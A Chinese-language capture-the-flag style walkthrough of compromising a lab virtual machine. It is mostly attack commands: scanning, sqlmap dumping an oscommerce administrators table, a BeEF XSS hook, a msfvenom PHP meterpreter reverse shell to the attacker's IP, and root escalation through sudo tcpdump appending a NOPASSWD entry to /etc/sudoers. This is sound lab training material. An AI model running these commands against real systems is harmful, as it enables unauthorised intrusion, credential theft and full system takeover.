网络配置
将kali与靶机都设置为仅主机模式,子网ip设为192.168.110.0网段
靶机的mac地址,设置为00:0C:29:00:0D:3B
一、信息收集
扫描靶机iparp-scan -l
端口扫描
nmap -p- -A 192.168.110.151
尝试ssh连接
ssh root@192.168.110.151 -p 65535
发现得到用户名:Peter 密码:inthesource
尝试用peter用户进行连接,发现连接断开
ssh peter@192.168.110.151 -p 65535
再次进行端口扫描,发现新开放了80端口
nmap -p- -A 192.168.110.151
浏览器访问80端口
目录扫描
dirsearch -u http://192.168.110.151/
发现搜索框
搜索时有参数,测试是否存在sql注入
利用sqlmap工具测试
sqlmap -u "http://192.168.110.151/blog/index.php?search=11"
发现存在sql注入
查询数据库名
sqlmap -u "http://192.168.110.151/blog/index.php?search=11" --dbs
查询 oscommerce数据库下面的表
sqlmap -u "http://192.168.110.151/blog/index.php?search=11" -D oscommerce
--tables
查看osc_administrators 表下的数据,发现用户名密码
sqlmap -u "http://192.168.110.151/blog/index.php?search=11" -D oscommerce -T osc_administrators --dump
对密码进行md5解密
二、Getshell
点击注册,注册账号点击members出现弹窗,发现存在xss漏洞
kali安装beef-xss
注意:安装之前将kali调整到nat模式
apt install beef-xss
beef-xss
将红框中的数据,作为用户名,注册一个账号,将127.0.0.1替换为kali的地址
点击register 再点击members
kali访问
http://192.168.110.128:3000/ui/panel
发现靶机上线,发现火狐浏览器版本为15存在漏洞
发现每隔5秒会话会自动中断,需要迅速切换反弹shell为meterpreter
use post/multi/manage/shell_to_meterpreter
set session 1
run
sessions
sessions 2
shell
python -c 'import pty; pty.spawn("/bin/bash")'
三、milton用户提权
因为刚刚peter连接SSH时没成功,所以先看看SSH的配置文件,发现在文件尾写到登入peter时会运行/usr/bin/startme查看对应文件内容,startme的作用是开启apache服务, 所以登录成功peter才开放80端口
cat /usr/bin/startme
cd /home
ls -al
检查网络状态,发现有2323端口在运行
netstat -tln
使用telnet连接端口,提示一个坐标位置29°45’46.0"N 95°22’59.0"W,基于坐标进行地图(map.google.com)查询发现为休斯顿的地址位置,使用账号milton登录,密码Houston尝试登录
用google查询 发现这个地点位于Houston,作为密码输入
用户名的话也就是之前/etc/passwd文件中的用户名
经尝试用户名为 milton
我们需要回答一个问题:这个订书机是谁的
cd /usr
grep -rno staple
发现一个 cd.py 文件 查看其内容
答案是mine
再次使用telnet连接2323端口,成功实现milton用户提权
发现 .profile 文件
四、blumbergh用户提权
再次查看网络信息,提示8888端口已经放开netstat -tln
访问8888端口,显示有2个页面,访问第一个页面会进入CMS中
使用dirsearch对其进行目录扫描
dirsearch -u http://192.168.110.151:8888/oscommerce/
拼接/admin/,出现了一个登录框
尝试弱口令进行登录admin admin,发现登录成功
存在可利用的点,在Tools发现了一个文件管理器
在include/work路径下上传木马,使用MSF生成反弹shell木马,并上传到服务器中
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.128 LPORT=9999 -f raw -o shell.php
将生成的shell.php上传到服务器上
MSF设置监听
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.110.128
set lport 9999
run
获取交互式shell,发现此时用户为blumbergh,依旧是低权限
shell
python -c "import pty;pty.spawn('/bin/bash')"
sudo -l 查看可运行的sudo命令
切换到 tmp 目录,构造1.sh 脚本文件以实现提权,然后执行GTOFbins中给出的 sudo 命令,实现脚本利用
cd /tmp
echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/test && chmod +x /tmp/test
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/test -Z root
sudo su
提权成功